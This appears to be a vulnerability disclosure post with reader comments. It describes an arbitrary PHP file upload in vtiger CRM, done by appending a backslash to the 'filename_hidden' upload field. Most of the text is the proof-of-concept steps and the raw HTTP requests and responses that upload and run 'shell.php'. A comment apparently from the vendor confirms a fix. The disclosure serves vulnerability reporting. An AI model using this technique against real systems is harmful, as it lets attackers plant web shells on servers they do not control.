Exploit
Upload a PHP file and append a backslash to the filename_hidden value.
PoC
- Login and navigate to http://localhost/index.php?action=upload&module=uploads and upload a PHP file.
- Capture the packet using a debugging proxy, append a backslash to the filename_hidden value, and submit it. e.g.
------WebKitFormBoundaryihWhA69lH4hKrGBy
Content-Disposition: form-data; name="filename_hidden"
shell.php\ - Navigate to the uploaded file http://localhost/storage/{Year}/{Month}/{Week}/{file} e.g. http://localhost/storage/2010/May/week3/shell.php
Hi,
ReplyDeletei have been trying to reproduce this issue, with a local setup with help of fiddler(windows). so far its behaviour is as it should be, it is treating the file as a text file, the file in question is uploaded as '12223_filename.php\'
when access this file its treated as a text file. if there is some information that im missing please share the same.
Thanks,
MAK
Musavir,
ReplyDeleteI just tested it again and it appears to work. Below some some more relevant info.
POST http://localhost/index.php?module=uploads&action=add2db&return_module= HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.55 Safari/533.4
Referer: http://localhost/index.php?action=upload&module=uploads
Content-Length: 1009
Cache-Control: max-age=0
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydA36exIbEJE58iyg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: timezone=0; PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; ck_login_id_vtiger=1; ck_login_theme_vtiger=softed; ck_login_language_vtiger=en_us
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="MAX_FILE_SIZE"
3000000
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="return_module"
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="return_action"
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="return_id"
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="uploadsubject"
a
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="filename"; filename="shell.php"
Content-Type: application/octet-stream
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="filename_hidden"
shell.php\
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="txtDescription"
------WebKitFormBoundarydA36exIbEJE58iyg
Content-Disposition: form-data; name="save"
Attach
------WebKitFormBoundarydA36exIbEJE58iyg--
HTTP/1.1 200 OK
Date: Fri, 28 May 2010 19:32:57 GMT
Server: Apache/2.0.52 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.13
Set-Cookie: PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ck_login_id_vtiger=1
Set-Cookie: ck_login_theme_vtiger=softed
Set-Cookie: ck_login_language_vtiger=en_us
Content-Length: 1724
Keep-Alive: timeout=10, max=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
[trimmed]
GET http://localhost/storage/2010/May/week4/16_shell.php HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.55 Safari/533.4
Referer: http://localhost/storage/2010/May/week4/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: timezone=0; PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; ck_login_id_vtiger=1; ck_login_theme_vtiger=softed; ck_login_language_vtiger=en_us
HTTP/1.1 200 OK
Date: Fri, 28 May 2010 19:33:36 GMT
Server: Apache/2.0.52 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.13
Content-Length: 11
Keep-Alive: timeout=10, max=299
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
hello world
John Leitch : Your User-Agent "Chrome/5.0.375.55 Safari/533.4"
ReplyDeleteIs it Safari browser or Google Chrome ?
Hi,
ReplyDeleteI'm using Google Chrome
Hi,
ReplyDeleteI'm able to reproduce this error, we have added fix, which should be available with next release, which is vtiger crm 5.2.0 RC.
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